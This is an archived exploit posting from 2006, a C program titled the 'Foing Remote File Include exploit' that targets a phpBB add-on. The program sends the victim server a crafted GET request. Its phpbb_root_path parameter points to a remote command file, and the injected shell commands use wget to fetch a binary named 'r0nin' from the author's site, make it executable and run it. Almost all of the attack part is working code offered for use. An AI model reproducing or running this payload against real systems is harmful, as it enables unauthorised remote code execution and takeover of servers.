exploit the possibilities

Foing-xpl.txt

Foing-xpl.txt
Posted May 29, 2006
Authored by s3rv3r_hack3r | Site hackerz.ir

Foing Remote File Inclusion exploit

tags | exploit, remote, file inclusion
MD5 | a1a6b85fface33aba12c6f433593eb07

Foing-xpl.txt

Change Mirror Download
vendor : phpbbhacks.com
Exploit BY :s3rv3r_hack3r
WWW : http://www.hackerz.ir
Exploit >>>

/* Foing Remote File Include exploit By s3rv3r_hack3r */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 80

char shellop[] = "GET /index.php?phpbb_root_path=http://www.hackerz.ir/cmd.txt?cmd=cd ../../../../../../../../../../tmp;wget http://www.hackerz.ir/r0nin;"
"chmod +X r0nin;./r0nin%60%22|\r";

int main(int argc, char *argv[]) {

char shell[BUFSIZ];
int sock;
struct sockaddr_in remop;

if(argc != 2) {
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf("\n Iran Hackerz Security Team \n");
printf("\n WebSite's: www.hackerz.ir & www.h4ckerz.com \n");
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf("\n*Foing Remote File Include Vulnerability [PHPBB]* \n");
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf("\nUsage: http://www.Victim.ltd/[foingpath] \n");
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
return 0; }

if(argc == 2) {

printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf("\nExploit By : s3rv3r_hack3r@yahoo.com \n");
printf("\n PLZ A W8 \n");
printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++\n");


remop.sin_family = AF_INET;
remop.sin_port = htons(PORT);
remop.sin_addr.s_addr = inet_addr(argv[1]);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\nERROR: Socket()\n\n");
return -1; }

if(connect(sock,(struct sockaddr *)&remop, sizeof(struct sockaddr)) < 0) {
printf("\nERROR: Connect()\n\n");
return -1; }

if(send(sock,&shellop, sizeof(shellop), 0) < 0) {
printf("\nERROR: Send()\n\n");
return -1; }

close(sock);
sleep(3);

printf("\nr0nin run seccessfuly\n\n");

printf("\n"); }

return 0; }

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    2 Files
  • 2
    Mar 2nd
    18 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    12 Files
  • 5
    Mar 5th
    19 Files
  • 6
    Mar 6th
    8 Files
  • 7
    Mar 7th
    1 Files
  • 8
    Mar 8th
    1 Files
  • 9
    Mar 9th
    11 Files
  • 10
    Mar 10th
    15 Files
  • 11
    Mar 11th
    9 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    13 Files
  • 14
    Mar 14th
    10 Files
  • 15
    Mar 15th
    13 Files
  • 16
    Mar 16th
    27 Files
  • 17
    Mar 17th
    15 Files
  • 18
    Mar 18th
    23 Files
  • 19
    Mar 19th
    25 Files
  • 20
    Mar 20th
    10 Files
  • 21
    Mar 21st
    6 Files
  • 22
    Mar 22nd
    1 Files
  • 23
    Mar 23rd
    22 Files
  • 24
    Mar 24th
    15 Files
  • 25
    Mar 25th
    22 Files
  • 26
    Mar 26th
    20 Files
  • 27
    Mar 27th
    15 Files
  • 28
    Mar 28th
    10 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close